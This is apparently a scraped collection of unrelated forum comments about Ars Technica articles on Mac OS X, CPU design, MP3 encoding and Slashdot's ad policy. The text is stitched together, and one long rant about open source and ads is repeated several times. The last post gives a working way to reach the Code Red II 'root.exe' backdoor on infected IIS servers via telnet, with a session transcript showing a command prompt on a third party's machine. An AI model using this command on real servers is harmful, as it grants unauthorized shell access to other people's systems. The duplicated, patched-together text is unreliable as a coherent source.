Slashdot Mirror

Yes and no.

Quartz specifies a new graphics layer, but one that is object-API compatible with OpenStep. OpenStep applications should port without major graphical overhaul.

Quartz is based on PDF, much as NeXT and Sun NeWS were based on PostScript.

Ars Technicha went over this in detail:

An example of an early third generation display layer is the Display Postscript system used by NeXTSTEP. Since the display layer has to keep track of all these vector shapes itself, it makes sense to use an existing vector graphics definition language like Postscript instead of creating a new one from scratch. Using Postscript saves work and allows easy interchange and printing of graphics from such a system.

Quartz does not use Postscript as its internal graphics representation language. Instead, it uses Adobe's Portable Document Format (PDF) standard which is a superset of Adobe Postscript. PDF has several advantages over Postscript, including better color management, internal compression, font independence, and interactivity. (Check out the PDF specs for more information.) PDF is also is a free and open standard, which saves Apple from paying Postscript licensing fees.

read the article, karma whore.
it's a different case, updated to resolve the problems people had with the other one.

and since i'm replying, might as well get in a link you missed:
http://www.arstechnica.com/tweak/oc_cooling.html

I am surprised that no one has refered to Apple's Finder (a shell of some kind). The finder kept it's own database of files/applications/associations. This made installing applications very easy. Just place them anywhere you want, and voila, it works. Some needed some extensionswhich went into the extensions folder, but the executable could be placed anywhere.
Apple's OSX has a system called packages (bundles under NextStep), where all the files for a certain application are stored in the one folder. Renaming the folder foo.app makes it an "executable" in the gui. You can still browse the contents though if you need to.
I think this makes managing appllication a lot easier. Besides, you can place these packages anywhere you want, you just have to create a shortcut (symlink) to the folder an place it somewhere accessible.
ArsTechnica has an article about this.

MacOSX seems to go about this by using bundles & frameworks. Applications have the ".app" extension and are actually directories (this is made transparent to a user). Within the app is a standard directory structure consisting of the application components. Libraries (aka. frameworks) do this in a similar fashion. In fact, frameworks encapsulate different library versions and API documentation within a framework. ARS technica has a nice description here

Yes, open source as a hobbyist development model can and will persist long into the future, and I'm sure that there will be fun and exciting products as a result of it.
That said, now that the heady, greedy days of the dot com boom are long behind us, it's high time to re-evaluate the position. Money isn't growing on trees and being plucked from the asses of VCs star-struck by that beautiful three-letter phrase (IPO, IPO, IPO!) so much that they can overlook that little thing called "a business plan."
Internet advertising is the redheaded stepchild of the marketing family. Old media ads have no need to justify themselves with inanities like "click-through"; they know their demographic and their real estate is mindshare, that precious commodity which they assume that they're purchasing with their ad dollars, regardless of whether or not this purchase translates into a product purchase immediately or down the road. The internet is a fickle bastard: people gravitate towards the warez model of "buy none, get one free" and so there's the propensity towards stealing everything we can. To wit: the inevitable linking to archives.nytimes.com anytime they've got an article up because registration is such a chore, but if you were to ask the average Slashdotter how they feel about someone using "their" resources without registration (think Anonymous Cowards here), one would instead getsthe impression that merely providing a name and e-mail address is as simple as could be. Hmm. To wit: proxies, ad-killing bots and specialized hosts files that insure that our precious bandwidth isn't eaten up by ancillary ads that might keep the sites afloat, but then again if we don't click on them and buy something might not even if we do see them. Hmm.
Ah, open source. Communism reborn, and who can hate that? Not the watered down Leninism that the Soviet Union ran through in short order, but honest-to-goodness communism. Take what you need, give what you have. Beautiful. A touching sentiment.
Also impossible to be a commercially viable entity when human nature comes into play. If we can get our content ad-free we will, even though it means economic hardship and possibly the closing of the sites we visit and love (or love to hate, as the case may be) and if we can get our software cost-free, without the dirty stigma of clicking through porno banners to find the 3rd word of the 4th paragraph to get entry to L33t b0b'5 h0u53 0f w4r3z, all the better. I whip up a weekend project that is derivative but I'm proud of and off to Freshmeat with you! Maybe even Sourceforge! Take it! Share it!
I'll pour a few hundred hours of blood, sweat and tears into it! Shiny new! Everyone wants it! It's hot!
But how do I parlay it into a commercial venture when everyone can get it for free and fix it up as they want? Hmm.
Open source is a lovely idea with lofty goals, and as long as talented, motivated, intelligent programmers buy into it, it will generate impressive results. Unfortunately, there's a very finite number of talented, motivated, intelligent, ascetic programmers out there who will buy into it.
OSDN's changing business strategies faster than you can say "we're a B2B play now!" (read: brushed up that resume yet?). If bigger ads or a subscription service to a website who doesn't give a whit about the quality of its journalism and doesn't know the meaning of the word "editing", relying on constantly inflammatory agitprop to woo its readership are the order of the day, then I'll just stick with Ars Technica, The Register and memepool (topical, informative, and normally journalistically objective sites), thanks. Slashdot's been a fun little ride, and like many other things, peer moderation was a sexy little idea, just unfortunate in that it pretty much disintegrated into ugly mob rule groupthink. Scene, not herd.

Yes, open source as a hobbyist development model can and will persist long into the future, and I'm sure that there will be fun and exciting products as a result of it.
That said, now that the heady, greedy days of the dot com boom are long behind us, it's high time to re-evaluate the position. Money isn't growing on trees and being plucked from the asses of VCs star-struck by that beautiful three-letter phrase (IPO, IPO, IPO!) so much that they can overlook that little thing called "a business plan."
Internet advertising is the redheaded stepchild of the marketing family. Old media ads have no need to justify themselves with inanities like "click-through"; they know their demographic and their real estate is mindshare, that precious commodity which they assume that they're purchasing with their ad dollars, regardless of whether or not this purchase translates into a product purchase immediately or down the road. The internet is a fickle bastard: people gravitate towards the warez model of "buy none, get one free" and so there's the propensity towards stealing everything we can. To wit: the inevitable linking to archives.nytimes.com anytime they've got an article up because registration is such a chore, but if you were to ask the average Slashdotter how they feel about someone using "their" resources without registration (think Anonymous Cowards here), one would instead getsthe impression that merely providing a name and e-mail address is as simple as could be. Hmm. To wit: proxies, ad-killing bots and specialized hosts files that insure that our precious bandwidth isn't eaten up by ancillary ads that might keep the sites afloat, but then again if we don't click on them and buy something might not even if we do see them. Hmm.
Ah, open source. Communism reborn, and who can hate that? Not the watered down Leninism that the Soviet Union ran through in short order, but honest-to-goodness communism. Take what you need, give what you have. Beautiful. A touching sentiment.
Also impossible to be a commercially viable entity when human nature comes into play. If we can get our content ad-free we will, even though it means economic hardship and possibly the closing of the sites we visit and love (or love to hate, as the case may be) and if we can get our software cost-free, without the dirty stigma of clicking through porno banners to find the 3rd word of the 4th paragraph to get entry to L33t b0b'5 h0u53 0f w4r3z, all the better. I whip up a weekend project that is derivative but I'm proud of and off to Freshmeat with you! Maybe even Sourceforge! Take it! Share it!
I'll pour a few hundred hours of blood, sweat and tears into it! Shiny new! Everyone wants it! It's hot!
But how do I parlay it into a commercial venture when everyone can get it for free and fix it up as they want? Hmm.
Open source is a lovely idea with lofty goals, and as long as talented, motivated, intelligent programmers buy into it, it will generate impressive results. Unfortunately, there's a very finite number of talented, motivated, intelligent, ascetic programmers out there who will buy into it.
OSDN's changing business strategies faster than you can say "we're a B2B play now!" (read: brushed up that resume yet?). If bigger ads or a subscription service to a website who doesn't give a whit about the quality of its journalism and doesn't know the meaning of the word "editing", relying on constantly inflammatory agitprop to woo its readership are the order of the day, then I'll just stick with Ars Technica, The Register and memepool (topical, informative, and normally journalistically objective sites), thanks. Slashdot's been a fun little ride, and like many other things, peer moderation was a sexy little idea, just unfortunate in that it pretty much disintegrated into ugly mob rule groupthink. Scene, not herd.

Actually, the P4 has a Trace Cache which smells something like embryonic code morphing. Clearly it is not nearly as powerful, in terms of optimizations, but it seems a future Pentium (or even the Itanium) with code morphing is not out of the question.

Doing Latin and Greek just made unix seem really easy to understand...it's all the same, really, just lots of text. A little Ars Technica goes a long way.
Also just messing with computers...I think it all started with dos batchfiles. I don't know...it just happens.

Sorry, try again:

In the end, I'm not calling the Athlon or P6 "RISC," but I'm also not calling them "CISC" either. The same goes for the G3 and G4, in reverse. Indeed, in light of what we now know about the the historical development of RISC and CISC, and the problems that each approach tried to solve, it should now be apparent that both terms are equally nonsensical when applied to the G3, G4, MIPS, P6, or K7."

Of course I know that current x86 CPUs have a RISC-like core. They're still the heirs of the 8086, and that's what's ironic.

Hannibal from Ars Technica has a good commentary on the whole transmeta state of affairs here. Enjoy.

Hannibal from Ars Technica has a good commentary on the whole transmeta state of affairs here. Enjoy.

Ars has a good editorial in response to the CNET article.

At the end of my Crusoe article, I predicted that TM would eventually announce a workstation-class chip. It's been a little over a year and this still hasn't happened, but I remain convinced that they're working on just such a project.

For those folk who continue to RISC vs CISC debate you'll find that both design mentalities have been munged together to where modern CPU's show qualities from both camps. Best description comes from this peice on arstechnica.... It's well worth the read.

Article

That's a pretty crappy test criteria-- limiting the input to 128kbit/sec-- for those of us itnerested in achieving as-close-to-CD-as-possible performance from our compressed music.

I don't claim to have golden ears, but I can distinctly hear the difference between different playback engines (example; on a Mac, the Audion playback engine is considerable better sounding than iTunes) and different encoding engines with nearly the same settings (LAME is, by far and away, the best I have heard yet).

In any case, it would be useful to have an expanded test that includes higher bitrates for those that listen to tunes on something other than crappy computer speakers.

Ogg vs. LAME article

An excellent Ars article that only covers differences between mp3 encoders.

MP3 tech has a bunch of useful resources.

One of the best sites around, r3mix offers a wealth of technical information, some very well executed scientific and listening tests, and a section that destroys a lot of the myths surrounding mp3s.

Yes, open source as a hobbyist development model can and will persist long into the future, and I'm sure that there will be fun and exciting products as a result of it.
That said, now that the heady, greedy days of the dot com boom are long behind us, it's high time to re-evaluate the position. Money isn't growing on trees and being plucked from the asses of VCs star-struck by that beautiful three-letter phrase (IPO, IPO, IPO!) so much that they can overlook that little thing called "a business plan."
Internet advertising is the redheaded stepchild of the marketing family. Old media ads have no need to justify themselves with inanities like "click-through"; they know their demographic and their real estate is mindshare, that precious commodity which they assume that they're purchasing with their ad dollars, regardless of whether or not this purchase translates into a product purchase immediately or down the road. The internet is a fickle bastard: people gravitate towards the warez model of "buy none, get one free" and so there's the propensity towards stealing everything we can. To wit: the inevitable linking to archives.nytimes.com anytime they've got an article up because registration is such a chore, but if you were to ask the average Slashdotter how they feel about someone using "their" resources without registration (think Anonymous Cowards here), one would instead getsthe impression that merely providing a name and e-mail address is as simple as could be. Hmm. To wit: proxies, ad-killing bots and specialized hosts files that insure that our precious bandwidth isn't eaten up by ancillary ads that might keep the sites afloat, but then again if we don't click on them and buy something might not even if we do see them. Hmm.
Ah, open source. Communism reborn, and who can hate that? Not the watered down Leninism that the Soviet Union ran through in short order, but honest-to-goodness communism. Take what you need, give what you have. Beautiful. A touching sentiment.
Also impossible to be a commercially viable entity when human nature comes into play. If we can get our content ad-free we will, even though it means economic hardship and possibly the closing of the sites we visit and love (or love to hate, as the case may be) and if we can get our software cost-free, without the dirty stigma of clicking through porno banners to find the 3rd word of the 4th paragraph to get entry to L33t b0b'5 h0u53 0f w4r3z, all the better. I whip up a weekend project that is derivative but I'm proud of and off to Freshmeat with you! Maybe even Sourceforge! Take it! Share it!
I'll pour a few hundred hours of blood, sweat and tears into it! Shiny new! Everyone wants it! It's hot!
But how do I parlay it into a commercial venture when everyone can get it for free and fix it up as they want? Hmm.
Open source is a lovely idea with lofty goals, and as long as talented, motivated, intelligent programmers buy into it, it will generate impressive results. Unfortunately, there's a very finite number of talented, motivated, intelligent, ascetic programmers out there who will buy into it.
OSDN's changing business strategies faster than you can say "we're a B2B play now!" (read: brushed up that resume yet?). If bigger ads or a subscription service to a website who doesn't give a whit about the quality of its journalism and doesn't know the meaning of the word "editing", relying on constantly inflammatory agitprop to woo its readership are the order of the day, then I'll just stick with Ars Technica, The Register and memepool (topical, informative, and normally journalistically objective sites), thanks. Slashdot's been a fun little ride, and like many other things, peer moderation was a sexy little idea, just unfortunate in that it pretty much disintegrated into ugly mob rule groupthink. Scene, not herd.

You can always count on slashdot to immediately pronounce an apple product to be "lame." One begins to suspect that slashdot has abandoned all pretense of objectivity when it comes to certain products/companies.

By the way, for a *sane* article on the introduction of the iPod check out arstechnica.com. Neither ars nor I are in love with the thing but at least they seem to be able to provide some cursory analysis of the products introduction...I mean beyond the slashdot "lame" perspective.

Taco you should be ashamed of yourself. We readers deserve better.

For all the flack Rambus got for their (idiotic) patent-flinging, RDRAM actually does have a few advantages over DDRRAM, namely, higher throughput, but at the cost of higher latency. So, it takes its time to get going, but once it's started, it GOES. Which means, for applications needing to stream through a huge, contiguous chunk of data very quickly (such as, oh, full motion video decompression) RAMBUS actually has a superior product. (Although, IMO, still doesn't break even on the cost-per-performance mark.) I remember reading some specs on ArsTechnica a while back. (I think that's the article I'm thinking of...)

Yes, open source as a hobbyist development model can and will persist long into the future, and I'm sure that there will be fun and exciting products as a result of it.
That said, now that the heady, greedy days of the dot com boom are long behind us, it's high time to re-evaluate the position. Money isn't growing on trees and being plucked from the asses of VCs star-struck by that beautiful three-letter phrase (IPO, IPO, IPO!) so much that they can overlook that little thing called "a business plan."
Internet advertising is the redheaded stepchild of the marketing family. Old media ads have no need to justify themselves with inanities like "click-through"; they know their demographic and their real estate is mindshare, that precious commodity which they assume that they're purchasing with their ad dollars, regardless of whether or not this purchase translates into a product purchase immediately or down the road. The internet is a fickle bastard: people gravitate towards the warez model of "buy none, get one free" and so there's the propensity towards stealing everything we can. To wit: the inevitable linking to archives.nytimes.com anytime they've got an article up because registration is such a chore, but if you were to ask the average Slashdotter how they feel about someone using "their" resources without registration (think Anonymous Cowards here), one would instead getsthe impression that merely providing a name and e-mail address is as simple as could be. Hmm. To wit: proxies, ad-killing bots and specialized hosts files that insure that our precious bandwidth isn't eaten up by ancillary ads that might keep the sites afloat, but then again if we don't click on them and buy something might not even if we do see them. Hmm.
Ah, open source. Communism reborn, and who can hate that? Not the watered down Leninism that the Soviet Union ran through in short order, but honest-to-goodness communism. Take what you need, give what you have. Beautiful. A touching sentiment.
Also impossible to be a commercially viable entity when human nature comes into play. If we can get our content ad-free we will, even though it means economic hardship and possibly the closing of the sites we visit and love (or love to hate, as the case may be) and if we can get our software cost-free, without the dirty stigma of clicking through porno banners to find the 3rd word of the 4th paragraph to get entry to L33t b0b'5 h0u53 0f w4r3z, all the better. I whip up a weekend project that is derivative but I'm proud of and off to Freshmeat with you! Maybe even Sourceforge! Take it! Share it!
I'll pour a few hundred hours of blood, sweat and tears into it! Shiny new! Everyone wants it! It's hot!
But how do I parlay it into a commercial venture when everyone can get it for free and fix it up as they want? Hmm.
Open source is a lovely idea with lofty goals, and as long as talented, motivated, intelligent programmers buy into it, it will generate impressive results. Unfortunately, there's a very finite number of talented, motivated, intelligent, ascetic programmers out there who will buy into it.
OSDN's changing business strategies faster than you can say "we're a B2B play now!" (read: brushed up that resume yet?). If bigger ads or a subscription service to a website who doesn't give a whit about the quality of its journalism and doesn't know the meaning of the word "editing", relying on constantly inflammatory agitprop to woo its readership are the order of the day, then I'll just stick with Ars Technica, The Register and memepool (topical, informative, and normally journalistically objective sites), thanks. Slashdot's been a fun little ride, and like many other things, peer moderation was a sexy little idea, just unfortunate in that it pretty much disintegrated into ugly mob rule groupthink. Scene, not herd.

Yes, open source as a hobbyist development model can and will persist long into the future, and I'm sure that there will be fun and exciting products as a result of it.
That said, now that the heady, greedy days of the dot com boom are long behind us, it's high time to re-evaluate the position. Money isn't growing on trees and being plucked from the asses of VCs star-struck by that beautiful three-letter phrase (IPO, IPO, IPO!) so much that they can overlook that little thing called "a business plan."
Internet advertising is the redheaded stepchild of the marketing family. Old media ads have no need to justify themselves with inanities like "click-through"; they know their demographic and their real estate is mindshare, that precious commodity which they assume that they're purchasing with their ad dollars, regardless of whether or not this purchase translates into a product purchase immediately or down the road. The internet is a fickle bastard: people gravitate towards the warez model of "buy none, get one free" and so there's the propensity towards stealing everything we can. To wit: the inevitable linking to archives.nytimes.com anytime they've got an article up because registration is such a chore, but if you were to ask the average Slashdotter how they feel about someone using "their" resources without registration (think Anonymous Cowards here), one would instead getsthe impression that merely providing a name and e-mail address is as simple as could be. Hmm. To wit: proxies, ad-killing bots and specialized hosts files that insure that our precious bandwidth isn't eaten up by ancillary ads that might keep the sites afloat, but then again if we don't click on them and buy something might not even if we do see them. Hmm.
Ah, open source. Communism reborn, and who can hate that? Not the watered down Leninism that the Soviet Union ran through in short order, but honest-to-goodness communism. Take what you need, give what you have. Beautiful. A touching sentiment.
Also impossible to be a commercially viable entity when human nature comes into play. If we can get our content ad-free we will, even though it means economic hardship and possibly the closing of the sites we visit and love (or love to hate, as the case may be) and if we can get our software cost-free, without the dirty stigma of clicking through porno banners to find the 3rd word of the 4th paragraph to get entry to L33t b0b'5 h0u53 0f w4r3z, all the better. I whip up a weekend project that is derivative but I'm proud of and off to Freshmeat with you! Maybe even Sourceforge! Take it! Share it!
I'll pour a few hundred hours of blood, sweat and tears into it! Shiny new! Everyone wants it! It's hot!
But how do I parlay it into a commercial venture when everyone can get it for free and fix it up as they want? Hmm.
Open source is a lovely idea with lofty goals, and as long as talented, motivated, intelligent programmers buy into it, it will generate impressive results. Unfortunately, there's a very finite number of talented, motivated, intelligent, ascetic programmers out there who will buy into it.
OSDN's changing business strategies faster than you can say "we're a B2B play now!" (read: brushed up that resume yet?). If bigger ads or a subscription service to a website who doesn't give a whit about the quality of its journalism and doesn't know the meaning of the word "editing", relying on constantly inflammatory agitprop to woo its readership are the order of the day, then I'll just stick with Ars Technica, The Register and memepool (topical, informative, and normally journalistically objective sites), thanks. Slashdot's been a fun little ride, and like many other things, peer moderation was a sexy little idea, just unfortunate in that it pretty much disintegrated into ugly mob rule groupthink. Scene, not herd.

One word : unacceptable. These make me sick. I can understand the need to make enough money to keep the site going, and that's fine, but nothing is gonna make me endure that. Sorry.

Maybe I will buy a subscription to disable the ads, but I wonder. The quality has gone down the toilet since Andover had been taken over by VA. Considering these "reorganisation", we can wonder how low /. is gonna go. Who would pay for another ZDNet ? Not me ...

Now about the replacement :

• Ars Technica : Good technical stuff, very diversified. Especially, the discussion section, "Ask Slashdot" on steroids.
• Rootprompt : Unix-only, high volume.
• Kuro5hin : Less technical but more socially oriented discussion. Very high discussion level (but a bit too US-centric, IMHO).

Unfortunately, none of these can give me EVERYTHING I want to read at the same place (like /. used to do). I will miss that.

Yes, open source as a hobbyist development model can and will persist long into the future, and I'm sure that there will be fun and exciting products as a result of it.
That said, now that the heady, greedy days of the dot com boom are long behind us, it's high time to re-evaluate the position. Money isn't growing on trees and being plucked from the asses of VCs star-struck by that beautiful three-letter phrase (IPO, IPO, IPO!) so much that they can overlook that little thing called "a business plan."
Internet advertising is the redheaded stepchild of the marketing family. Old media ads have no need to justify themselves with inanities like "click-through"; they know their demographic and their real estate is mindshare, that precious commodity which they assume that they're purchasing with their ad dollars, regardless of whether or not this purchase translates into a product purchase immediately or down the road. The internet is a fickle bastard: people gravitate towards the warez model of "buy none, get one free" and so there's the propensity towards stealing everything we can. To wit: the inevitable linking to archives.nytimes.com anytime they've got an article up because registration is such a chore, whereas from the threads further up, one gets the impression that merely providing a name and e-mail address is as simple as could be. Hmm. To wit: proxies, ad-killing bots and specialized hosts files that insure that our precious bandwidth isn't eaten up by ancillary ads that might keep the sites afloat, but then again if we don't click on them and buy something might not even if we do see them. Hmm.
Ah, open source. Communism reborn, and who can hate that? Not the watered down Leninism that the Soviet Union ran through in short order, but honest-to-goodness communism. Take what you need, give what you have. Beautiful. A touching sentiment.
Also impossible to be a commercially viable entity when human nature comes into play. If we can get our content ad-free we will, even though it means economic hardship and possibly the closing of the sites we visit and love (or love to hate, as the case may be) and if we can get our software cost-free, without the dirty stigma of clicking through porno banners to find the 3rd word of the 4th paragraph to get entry to L33t b0b'5 h0u53 0f w4r3z, all the better. I whip up a weekend project that is derivative but I'm proud of and off to Freshmeat with you! Maybe even Sourceforge! Take it! Share it!
I'll pour a few hundred hours of blood, sweat and tears into it! Shiny new! Everyone wants it! It's hot!
But how do I parlay it into a commercial venture when everyone can get it for free and fix it up as they want? Hmm.
Open source is a lovely idea with lofty goals, and as long as talented, motivated, intelligent programmers buy into it, it will generate impressive results. Unfortunately, there's a very finite number of talented, motivated, intelligent, ascetic programmers out there who will buy into it.
OSDN's changing business strategies faster than you can say "we're a B2B play now!" (read: brushed up that resume yet?). If bigger ads or a subscription service to a website who doesn't give a whit about the quality of its journalism and doesn't know the meaning of the word "editing", relying on constantly inflammatory agitprop to woo its readership are the order of the day, then I'll just stick with Ars Technica and memepool (both topical, informative, and normally journalistically objective), thanks. Slashdot's been a fun little ride, and like many other things, peer moderation was a sexy little idea, just unfortunate in that it pretty much disintegrated into ugly mob rule groupthink. Scene, not herd.

Yeah, price is the issue here - I have no idea how much it should cost.

As for extra perks - I like the idea of voting on the submission queue and why don't you give paying members a +2 bonus or something? That would eliminate problems you'd get from buying moderator points, and still keep paying customers happy :)

Why not give those who pay real $$$ access to the archives? Or why not give a small discount at ThinkGeek or something (although this may defeat the purpose of making money :)?

As for cost - maybe we should take a look at Ars for inspiration? Although /. may not be able to provide so many different services...

Shayne

Shayne

This is basically just a shrunken desktop computer.
The EZGo is the size of four CD cases stacked on top of each other. I didn't compare the specs, but the EZGo has enough.

Check out the Taiwanese manufacturer, a product page at directron or a review at Ars Technica.

Best of all. It supposedly runs Linux!

(I probably should mention that I have nothing to do with this product. I just saw it a while ago and thought I should mention it.)

Sure, it's a hoax, but nothing else will suffice.
Although Peltier cooling is pretty nifty, too.

The applications I have seen VLIW succeed in are high bandwidth multimedia applications. Although, I don't think its a mainstream card a company called Equator makes a video encoding card that uses VLIW technology. The PDF for the card is here. There are several other manufacturers of high speed video encoders that use VLIW designs as well.

I'm not sure how the market shakedown is going to work, but we will have to move beyond the x86 if we want to see continued performance gains. There are only so many tweaks that one can do. Is VLIW the right choice? We'll see... in the meantime I'm sure AMD will enjoy a ripe stomping until the VLIW compilers and developer tools are mature.

JOhn

It's not linux specific, but I always find the ars technica buyers guides useful to help keep up to date on high/middle/low end hardware. Perhaps the budget box doesn't go ultra-cheap, but it goes cheap without sacrificing too much quality.

God Box

Hot Rod

Budget box

It's not linux specific, but I always find the ars technica buyers guides useful to help keep up to date on high/middle/low end hardware. Perhaps the budget box doesn't go ultra-cheap, but it goes cheap without sacrificing too much quality.

God Box

Hot Rod

Budget box

It's not linux specific, but I always find the ars technica buyers guides useful to help keep up to date on high/middle/low end hardware. Perhaps the budget box doesn't go ultra-cheap, but it goes cheap without sacrificing too much quality.

God Box

Hot Rod

Budget box

has a budget box building guide. You should check out their general buyer's guide as well.

has a budget box building guide. You should check out their general buyer's guide as well.

The review seems to hold the MacOS up as a shining example of how file-typing should be handled. I haven't really used the MacOS, but if you read this great article at ArsTechnica you'll see how the MacOS uses metadata associated with a file to determine the type of file it is, and therefore the program that should be used to open it.

On the MacOS, although the implementation seems cleaner (metadata vs. file name extension) the same issues of applications fighting over file types can arise in OS X, since an application can "claim" file types. The older Mac OS's seem to have opened a file based on the software that created it, which has its own set of problems. (Just because I created a JPG in Photshop doesn't mean I want spend 90 seconds firing up Photoshop every time I want to see it)

Keep in mind I have almost no Mac experience, please correct me if I'm wrong. I'm just trying to check out the authors claim that the Mac offers a better way of filetype/application binding, and after looking into the way Macs do things, I'm pretty unconvinced. I think I actually prefer Windows' "Open With..." right-click option to create the associate itself, although I don't like the way applications can repeatedly reclaim file types without asking the user. So how do other OS's do it?

This would be true if RISC and CISC today ment
what they used to me. In fact many of todays so
called RISC machines have more powerful instruction sets, with for example three operand
instructions with multiple addressing modes. Mean while the
major architectual inivations from risc processors
like pipe-lining and superscalar are on all modern
microprocessors. For more info see this ars-technica article.

All this, plus the AMD vs INTEL megahertz wars, leads to a curious roll reversal where so called
RISC chips do more work per MHz, while so called
CISC chips (actually only the x86 is called CISC
these days), have the highest clock rates.

If you like to do something different, you can find a nice overview of a few different projects here.

Further questions can be asked in our forum.

What if we found ET? - that would be the biggest discovery imho. Besides that, I think it's "stupid" to discuss what project is better - the result is way to often a flamefest :(

I run Folding@Home myself for Arstechnica (the #1 Seti and Genome team!) though, but that is a matter of personal preference.

We have a nice page with introductions to the different Distributed computing (DC) projects we are involved in right here. We "hand out" that page to new members of our "DC family". Then they can choose themselves what project they would like to support.

they do already, except to draw heat away from the processor. check out peltier coolers

I agree with arstechnica.com "Privacy: it's good for the economy" little tidbit about it. We'll lose business for encyrption and no foreign countries will purchase American software. That's why China has invested in Linux. So maybe this is a good thing. Linux will flourish if not also having to have a backdoor. I mean the terrosists used Mailbox Etc. for a mailbox drop. Let's outlaw P.O. Boxes are if they're allowed to still exist announce random searches of mail. Also a good law would be to outlaw licking your envelope sealed so law enforcement monkeys can open at will without ripping the birthday card and check. One thing I guess is if we do lose privacy rights they go all out and ream us up the rear and we deal with it for 3 or 4 years and after a few thousands lawsuits and our goverment paying out billions for this and that then we'll overturn them in a big way and be back to sqaure one where we were 2 weeks ago.

Yeah, I'm getting pretty sick and bored of this RISC vs. CISC routine. P3's and P4's basically are RISC chips - ones that support the x86 ISA.

I suggest that anybody who wants to argue about CISC vs RISC should first read this article on Arstechnica. Especially those people like the OP of this thread who seem determined to continue spreading FUD and dis-information.

It is of utmost importance to remember that the atrocity was committed by a handful of lunatics, not the peace-loving Islamic community at large....

For those who might have read the linked /. story but not the article which brought it about, here is the original ArsTechnica article.
Interesting, somewhat in-depth information on metadata and its uses both within and outside of the Mac.
Here and here is also some information on the NTFS filesystem, and how metadata is used there.
-Joel

For those who might have read the linked /. story but not the article which brought it about, here is the original ArsTechnica article.
Interesting, somewhat in-depth information on metadata and its uses both within and outside of the Mac.
Here and here is also some information on the NTFS filesystem, and how metadata is used there.
-Joel

For those who might have read the linked /. story but not the article which brought it about, here is the original ArsTechnica article.
Interesting, somewhat in-depth information on metadata and its uses both within and outside of the Mac.
Here and here is also some information on the NTFS filesystem, and how metadata is used there.
-Joel

in ArsTechnica. It's actually quite funny.

There's an interesting little article on the history of computer games up on Ars Technica today.
The screen shots bring back memories. :)

For those of you who want more, gave a great explanation the week before I saw this live.

Actually the rendering rate of the movie as seen in the theatres is 150K Frames / 6K seconds = 25 FPS! Therefore, applying Moore's law, we are only 3 - 4 years away to render it in real time.

I agree that motherboards will have fewer lines and thus be simpler because of the serialization of parallel lines. However, the serialization means that higher frequencies will be required for one wire to do what many parallel wires had done before. The result when moving to higher and higher frequencies is more cross-talk on the lines that are left. A good example is Rambus. From what I hear, there are lots of difficult issues with the cross-talk on the narrow bus.

JOhn

While it is true that most G4 to pentium bake-offs are done running photoshop filters, I don't think it is a particularly unfair test. After all, Photoshop really is the only standard application in existance that:
a) has the same version and capabilities for both the PC and the Mac, and:
b) can actually tax a current machine's processor.
Other eligible apps (ie: Office) fail on both these counts.

Dismissing "Multimedia" apps out of hand is naive. Almost all the CPU intensive work done today is digital video and audio, two tasks that the G4 design permits it to do rather well. There is hardly difference between using a 1.8 Ghz Pentium 4 and a 500 Mhz Pentium 3 when surfing the web or typing a paper in Word.

Check out the ArsTechnica take on G4e design compared to the Pentium 4.

btw: How come I don't see many touting that the 1.2 Ghz Athlon is some how lacking in ability when compared to the 1.8 Ghz Pentium 4?

Just discovered something interesting...
telnet 80

type GET /scripts/root.exe HTTP/1.0

and you have a command prompt..

Like this:
[root@server httpd]# telnet 24.xxx.xxx.xxx 80
Trying 24.xxx.xxx.xxx...
Connected to 24.xxx.xxx.xxx.
Escape character is '^]'.
GET /scripts/root.exe HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Sun, 05 Aug 2001 07:45:08 GMT
Content-Type: application/octet-stream
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

c:\inetpub\scripts>

[This message was edited by The_Hitman on August 05, 2001 at 03:56.]